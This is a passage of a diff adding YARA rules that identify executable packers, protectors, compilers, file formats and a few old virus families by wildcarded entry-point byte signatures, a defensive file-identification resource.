+		$2 = {EB 01 ?? E8 2A 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 02 ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8 C3 27 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Obsidium_V1400__Obsidium_Software___20091005_
+{
+	meta:
+		description = "Obsidium V1.4.0.0 -> Obsidium Software  * 20091005"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? E8 ?? 00 00 00 EB 01 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 71 49 EB 01 ?? EB 03 ?? ?? ?? 33 C0 EB 01 ?? 64 FF 30 EB 01 ?? 64 89 20 EB 02 ?? ?? EB 02 ?? ?? 8B 00 EB 03 ?? ?? ?? 58 EB 02 ?? ?? C3 EB 03 ?? ?? ?? E9 ?? 00 00 00 EB 04 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 03 ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v131_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.31 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB ?? ?? BA ?? ?? 81 C3 07 00 B8 40 B4 B1 04 D3 E8 03 C3 8C D9 49 8E C1 26 03 0E 03 00 2B}
+		$1 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _QinYingShieldLicense_V10XV121__Lei_Peng___20080122_
+{
+	meta:
+		description = "QinYingShieldLicense V1.0X-V1.21 -> Lei Peng  * 20080122"
+	strings:
+		$0 = {E8 00 00 00 00 58 05 ?? ?? ?? ?? 9C 50 C2 04 00 55 8B EC 56 57 53 34 99 47 49 34 33 EF 31 CD F5 B0 CB B5 B0 A3 A1 A3 A1 B9 FE B9 FE B9 FE B9 FE BF C9 CF A7 D1 BD A3 AC C4 E3 B2 BB D6 AA B5 C0 D5 E2 C0 EF B5 C4 D6 B8 C1 EE CA C7 CA B2 C3 B4 A3 A1 B9 FE B9 FE B9 FE 00 00 00 00 00 00 00}
+		$1 = {E8 00 00 00 00 58 05 ?? ?? ?? ?? 9C 50 C2 04 00 55 8B EC 56 57 53 34 99 47 49 34 33 EF 31 CD F5 B0 CB B5 B0 A3 A1 A3 A1 B9 FE B9 FE B9 FE B9 FE BF C9 CF A7 D1 BD A3 AC C4 E3 B2 BB D6 AA B5 C0 D5 E2 C0 EF B5 C4 D6 B8 C1 EE CA C7 CA B2 C3 B4 A3 A1 B9 FE B9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Thinstall_Embedded_V2545__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.545 -> Jitit"
+	strings:
+		$0 = {E8 F2 FF FF FF 50 68 ?? ?? ?? ?? 68 40 1B 00 00 E8 42 FF FF FF E9 9D FF FF FF 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _LZEXE_v091_v100a_2_
+{
+	meta:
+		description = "LZEXE v0.91, v1.00a (2)"
+	strings:
+		$0 = {BF ?? ?? 06 89 F9 0E 41 1F 8C CB 89 FE}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_v153_
+{
+	meta:
+		description = "DBPE v1.53"
+	strings:
+		$0 = {9C 55 57 56 52 51 53 9C FA E8 00 00 00 00 5D 81 ED 5B 53 40 00 B0}
+		$1 = {9C 55 57 56 52 51 53 9C FA E8 ?? ?? ?? ?? 5D 81 ED 5B 53 40 ?? B0 ?? E8 ?? ?? ?? ?? 5E 83 C6 11 B9 27 ?? ?? ?? 30 06 46 49 75 FA}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_293_LZMA_
+{
+	meta:
+		description = "UPX 2.93 (LZMA)"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 03 00 02 00 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _IMPPacker_10__Mahdi_Hezavehi_IMPOSTER_
+{
+	meta:
+		description = "IMP-Packer 1.0 -> Mahdi Hezavehi [IMPOSTER"
+	strings:
+		$0 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+		$1 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+		$2 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _Vx_VirusConstructorIVPbased_
+{
+	meta:
+		description = "Vx: VirusConstructor(IVP).based"
+	strings:
+		$0 = {E9 ?? ?? E8 ?? ?? 5D ?? ?? ?? ?? ?? 81 ED ?? ?? ?? ?? ?? ?? E8 ?? ?? 81 FC ?? ?? ?? ?? 8D ?? ?? ?? BF ?? ?? 57 A4 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _S3M_music_file_
+{
+	meta:
+		description = "S3M music file"
+	strings:
+		$0 = {53 43 52 4D}
+	condition:
+		$0 at entrypoint
+}
+rule _Inset_Systems_IGF_graphics_file_
+{
+	meta:
+		description = "Inset Systems IGF graphics file"
+	strings:
+		$0 = {01 80 04 00 01 00 58 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v21_2_
+{
+	meta:
+		description = "Petite v2.1 (2)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_010__012_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.10 - 0.12 beta -> Dwing"
+	strings:
+		$0 = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1}
+		$1 = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Metrowerks_CodeWarrior_v20_Console_
+{
+	meta:
+		description = "Metrowerks CodeWarrior v2.0 (Console)"
+	strings:
+		$0 = {55 89 E5 55 B8 FF FF FF FF 50 50 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+		$1 = {55 89 E5 55 B8 FF FF FF FF 50 50 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Cpp_for_Win32_1995_
+{
+	meta:
+		description = "Borland C++ for Win32 1995"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 57 51 33 C0 BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B CF 76}
+	condition:
+		$0 at entrypoint
+}
+rule _Rec_Small_103_
+{
+	meta:
+		description = "Rec Small 1.03"
+	strings:
+		$0 = {8C D8 1E E8 00 00 83 C0 0F 5D B9 00 00 81 ED EA 03 40 8E D8 2B DB B2 00 00 17 FE C2 43 83 FB 10 75 F6 E2 ED 1F 8C C0 03 C3 2E 01 86 27 04 2E 03 86 2B 04 FA BC 05 00 8E D0 2E 8B A6 29 04 EB 00 EA 01 00 00 00 7E 01}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_32x_Dll_WinMain_
+{
+	meta:
+		description = "MinGW 3.2.x (Dll_WinMain)"
+	strings:
+		$0 = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 76 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v062_
+{
+	meta:
+		description = "aPack v0.62"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 ?? ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B6}
+		$1 = {1E 06 8C C8 8E D8 ?? ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B6}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _INCrypter_03_INinY__by_z3e_NiFe_
+{
+	meta:
+		description = "INCrypter 0.3 (INinY) - by z3e_NiFe"
+	strings:
+		$0 = {60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B 85 16 17 40 00 E8 23 00 00 00 8B 85 1A 17 40 00 E8 18 00 00 00 8B 85 1E 17 40 00 E8 0D 00 00 00 8B 85 22 17 40 00 E8 02 00 00 00 EB 18 8B D6 3B 46 0C 72 0A 83 F9 01 74 0B 3B 46 34 72 06 BA 00 00 00 00 C3 58 83 FA 00 75 1A 8B 4E 10 8B 7E 0C 03 BD 02 17 40 00 83 F9 00 74 09 F6 17 31 0F 31 1F 47 E2 F7 59 83 C6 28 49 83 F9 00 75 88 8B 85 0A 17 40 00 89 44 24 1C 61 50 C3}
+		$1 = {60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B 85 16 17 40 00 E8 23 00 00 00 8B 85 1A 17 40 00 E8 18 00 00 00 8B 85 1E 17 40 00 E8 0D 00 00 00 8B 85 22 17 40 00 E8 02 00 00 00 EB 18 8B D6 3B 46 0C 72 0A 83 F9 01 74 0B 3B 46 34 72 06 BA 00 00 00 00 C3 58 83 FA 00 75 1A 8B 4E 10 8B 7E 0C 03 BD 02 17 40 00 83 F9 00 74 09 F6 17 31 0F 31 1F 47 E2 F7 59 83 C6 28 49 83 F9 00 75 88 8B 85 0A 17 40 00 89 44 24 1C 61 50 C3}
+		$2 = {60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _UPX_v0896__v102__v105__v122_DLL__Laszlo__Markus_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 - v1.22 DLL -> Laszlo & Markus"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? ?? ?? 00 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V11__cyberbob__20080311_
+{
+	meta:
+		description = "PESpin V1.1 -> cyberbob * 20080311"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 ?? 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 ?? ?? ?? ?? ?? 5D 33 C9 41 E2 17 EB 07 ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 EB 04 ?? EB 04 00 EB FB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02 ?? ?? F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 ?? ?? ?? ?? ?? ?? F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 ?? EB FB}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_GRUNT2Family_
+{
+	meta:
+		description = "Vx: GRUNT.2.Family"
+	strings:
+		$0 = {48 E2 F7 C3 51 53 52 E8 DD FF 5A 5B 59 C3 B9 00 00 E2 FE C3}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_12build3009_Method2__bagie_
+{
+	meta:
+		description = "SimplePack 1.2.build.30.09 (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 86 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+		$1 = {4D 5A 90 EB 01 00 52 E9 86 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PECompact_v094_
+{
+	meta:
+		description = "PECompact v0.94"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D7 84 40 ?? 87 DD 8B 85 5C 85}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 ?? ?? ?? ?? 5D 55 58 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 01 85 ?? ?? ?? ?? 50 B9 02}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Hide_PE_101__BGCorp_
+{
+	meta:
+		description = "Hide PE 1.01 -> BGCorp"
+	strings:
+		$0 = {BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 F8 FF E2 0D 0A 2D 3D 5B 20 48 69 64 65 50 45 20 62 79 20 42 47 43 6F 72 70 20 5D 3D 2D}
+		$1 = {BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 F8 FF E2 0D 0A 2D 3D 5B 20 48 69 64 65 50 45 20 62 79 20 42 47 43 6F 72 70 20 5D 3D 2D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_V028V0399__Dwing____20080321_
+{
+	meta:
+		description = "Upack V0.28-V0.399 -> Dwing   * 20080321"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? ?? E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 1C F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 FF 66 1C B1 30 8B 5D 0C 03 D1 FF 16 73 4C 03 D1 FF 16 72 19 03 D1 FF 16 72 29 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C 8A 00 FF 66 18 83 C2 60 FF 16 87 5D 10 73 0C 03 D1 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8B D5 03 56 38 FF 56 0C 5B 91 FF 66 30 3C 07 B0 07 72 02 B0 0A 50 87 5D 10 87 5D 14 89 5D 18 8B D5 03 56 3C FF 56 0C 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D 9C 85 7C 03 00 00 FF 56 04 3C 04 8B D8 72 5F 33 DB D1 E8 13 DB 48 43 91 43 D3 E3 80 F9 05 8D 94 9D 7C 01 00 00 76 2E 80 E9 04 33 C0 8B 55 00 D1 6D 08 8B 12 0F CA 2B 55 04 03 C0 3B 55 08 72 07 8B 55 08 40 01 55 04 FF 56 10 E2 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V041__cyberbob____20080312_
+{
+	meta:
+		description = "PESpin V0.41 -> cyberbob   * 20080312"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 02 D2 46 00 0B E4 74 9E 75 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 ?? ?? ?? ?? ?? 5D 33 C9 41 E2 17 EB 07 ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 8B ?? ?? ?? ?? ?? 8B 42 3C 03 C2 89 ?? ?? ?? ?? ?? 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 ?? ?? ?? ?? ?? 53 8F ?? ?? ?? ?? ?? BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 ?? 68 3C 01 00 00 59 8D ?? ?? ?? ?? ?? C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 ?? ?? ?? ?? 59 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 ?? E8 1A 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyCrypt_PE__214b215__JLab_Software_Creations_hsigned_
+{
+	meta:
+		description = "PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-signed)"
+	strings:
+		$0 = {50 6F 6C 79 43 72 79 70 74 20 50 45 20 28 63 29 20 32 30 30 34 2D 32 30 30 35 2C 20 4A 4C 61 62 53 6F 66 74 77 61 72 65 2E 00 50 00 43 00 50 00 45}
+		$1 = {50 6F 6C 79 43 72 79 70 74 20 50 45 20 28 63 29 20 32 30 30 34 2D 32 30 30 35 2C 20 4A 4C 61 62 53 6F 66 74 77 61 72 65 2E 00 50 00 43 00 50 00 45}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXECryptor_2x__SoftComplete_Developement_
+{
+	meta:
+		description = "EXECryptor 2.x -> SoftComplete Developement"
+	strings:
+		$0 = {A4 ?? ?? 00 00 00 00 00 FF FF FF FF 3C ?? ?? 00 94 ?? ?? 00 D8 ?? ?? 00 00 00 00 00 FF FF FF FF}
+	condition:
+		$0
+}
+rule _DrWeb_VirusFinding_Engine__InSoft_EDVSysteme_
+{
+	meta:
+		description = "Dr.Web Virus-Finding Engine -> InSoft EDV-Systeme"
+	strings:
+		$0 = {2C E8 ?? ?? ?? ?? 5D 8B C5 81 ED F6 73 ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 06 89 85}
+		$1 = {B8 01 00 00 00 C2 0C 00 8D 80 00 00 00 00 8B D2 8B ?? 24 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_v30_DLL_LZMA__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX v3.0 (DLL_LZMA) -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 C7 0B 00 00 60 BE 00 ?? ?? ?? 8D BE 00 ?? ?? FF 57 89 E5 8D 9C 24 80 C1 FF FF 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_140_EXE_
+{
+	meta:
+		description = "XPack 1.40 [EXE]"
+	strings:
+		$0 = {2E 83 26 01 01 00 8B EC EB 01 E8 FA B8 C9 03 EB 01 9A FF E0 F3 03 FD 03 5E 04 86 04 E2 00 98 04 CF 00 82 04 AC 00 85 04 AA 00 7A 04 FC 00 33 C0 8E D0 BC 10 00 2E 8F 06 0A 04 2E 8F 06 0F 04 EB 01 9A 0E 2E FF 36 B1 03 5F EB 01 9A 17 8B E5 FB}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_Prolog_1986_
+{
+	meta:
+		description = "Turbo Prolog 1986"
+	strings:
+		$0 = {FA B8 00 00 8E D8 B8 00 00 A3 00 00 8E D0 BC 00 01 FB 8C 06 00 00 26 8E 06 2C 00 8C 06 00 00 B8 00 00 A3 00 00 9A 00 00 00 00 89 1E 00 00 A3 00 00 9A 00 00 00 00 00 00 9A 00 00 00 00 83 C4 04 00 00 00 00 00 00 00 00 00 00 00 00 9A 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 [LZMA] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 73 26 00 00 8D 9D 58 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _Safengine_Licenseor_1720__Nooby_
+{
+	meta:
+		description = "Safengine Licenseor 1.7.2.0 -> Nooby"
+	strings:
+		$0 = {E8 1B 00 00 00 53 00 61 00 66 00 65 00 6E 00 67 00 69 00 6E 00 65 00 20 00 4C 00 69 00 63 00 65}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10X__vcasm_
+{
+	meta:
+		description = "VProtector V1.0X -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 E8 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 05 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_v153__Ding_Boy_
+{
+	meta:
+		description = "DBPE v1.53 -> Ding Boy"
+	strings:
+		$0 = {9C 55 57 56 52 51 53 9C FA E8 ?? ?? ?? ?? 5D 81 ED 5B 53 40 ?? B0 ?? E8 ?? ?? ?? ?? 5E 83 C6 11 B9 27 ?? ?? ?? 30 06 46 49 75 FA}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_251Beta_2__252__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 2.5.1(Beta 2) / 2.5.2 -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? ?? 40 00 E8 ?? EA FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 BA ?? ?? 40 00 B8 ?? ?? 40 00 E8 63 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? ?? FF FF BA ?? ?? 40 00 8B C3 8B 0D ?? ?? 40 00 E8 ?? ?? FF FF C7 05 ?? ?? 40 00 0A 00 00 00 BB ?? ?? 40 00 BE ?? ?? 40 00 BF ?? ?? 40 00 B8 ?? ?? 40 00 BA 04 00 00 00 E8 ?? EB FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 0A F3 FF FF 89 03 83 3B 00 0F 84 F7 04 00 00 B8 ?? ?? 40 00 8B 16 E8 ?? E1 FF FF B8 ?? ?? 40 00 E8 ?? E0 FF FF 8B D0 8B 03 8B 0E E8 ?? ?? FF FF 8B C7 A3 ?? ?? 40 00 8D 55 EC 33 C0 E8 ?? D3 FF FF 8B 45 EC B9 ?? ?? 40 00 BA ?? ?? 40 00 E8 8B ED FF FF 3C 01 75 2B A1}
+		$1 = {55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? ?? 40 00 E8 ?? EA FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 BA ?? ?? 40 00 B8 ?? ?? 40 00 E8 63 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? ?? FF FF BA ?? ?? 40 00 8B C3 8B 0D ?? ?? 40 00 E8}
